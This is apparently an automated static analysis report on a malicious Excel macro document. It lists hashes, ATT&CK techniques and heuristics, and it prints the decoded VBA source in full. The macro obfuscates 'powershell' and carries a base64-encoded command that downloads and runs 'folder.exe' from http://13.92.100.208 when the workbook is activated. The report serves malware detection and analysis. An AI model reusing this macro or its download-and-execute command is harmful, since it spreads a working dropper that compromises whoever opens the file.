Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2be2fe336199139b…

MALICIOUS

Office (OOXML)

10.5 KB Created: 2021-10-06 10:04:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-23
MD5: cebefd8c278f5c265fde7ed16b630729 SHA-1: 06fc6079b42edde5161f8fba2f3e17d0c749af8b SHA-256: 2be2fe336199139bdfef02bfc88da016d52fa38caaad7843998a83c27555bb3f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that use obfuscation to reassemble the string 'PowerShell'. The macro then constructs a command to download and execute a file named 'folder.exe' from the URL 'http://13.92.100.208/imgs/folder.exe' using PowerShell. This indicates a downloader or dropper functionality, likely delivered via spearphishing.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2566 bytes
SHA-256: 52692ccb6846236632aa0457d37c4b667a7a4ec9aba523440ba39f2f005b7988
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbwBjAE4A"
s = s + "YQBtAGUAIAA9ACAA"
s = s + "IgBBAHcAZwBhAHcA"
s = s + "awB0AGwAcwBkAHAA"
s = s + "YwBwAGYAdwBwAHEA"
s = s + "dwBlAGwAbABoAHAA"
s = s + "LgBlAHgAZQAiADsA"
s = s + "KABOAGUAdwAtAE8A"
s = s + "YgBqAGUAYwB0ACAA"
s = s + "UwB5AHMAdABlAG0A"
s = s + "LgBOAGUAdAAuAFcA"
s = s + "ZQBiAEMAbABpAGUA"
s = s + "bgB0ACkALgBEAG8A"
s = s + "dwBuAGwAbwBhAGQA"
s = s + "RgBpAGwAZQAoACIA"
s = s + "aAB0AHQAcAA6AC8A"
s = s + "LwAxADMALgA5ADIA"
s = s + "LgAxADAAMAAuADIA"
s = s + "MAA4AC8AaQBtAGcA"
s = s + "LwBmAG8AbABkAGUA"
s = s + "cgAuAGUAeABlACIA"
s = s + "LAAiACQAZQBuAHYA"
s = s + "OgBBAFAAUABEAEEA"
s = s + "VABBAFwAJABQAHIA"
s = s + "bwBjAE4AYQBtAGUA"
s = s + "IgApADsAUwB0AGEA"
s = s + "cgB0AC0AUAByAG8A"
s = s + "YwBlAHMAcwAgACgA"
s = s + "IgAkAGUAbgB2ADoA"
s = s + "QQBQAFAARABBAFQA"
s = s + "QQBcACQAUAByAG8A"
s = s + "YwBOAGEAbQBlACIA"
s = s + "KQA="


ActiveWorkbook.Save
batch = "Iiyyjnzvrhcxvsqjmr.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Table 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 262c967da77d37f77373dde841586cf96d601531b97af44b1965168577b3284d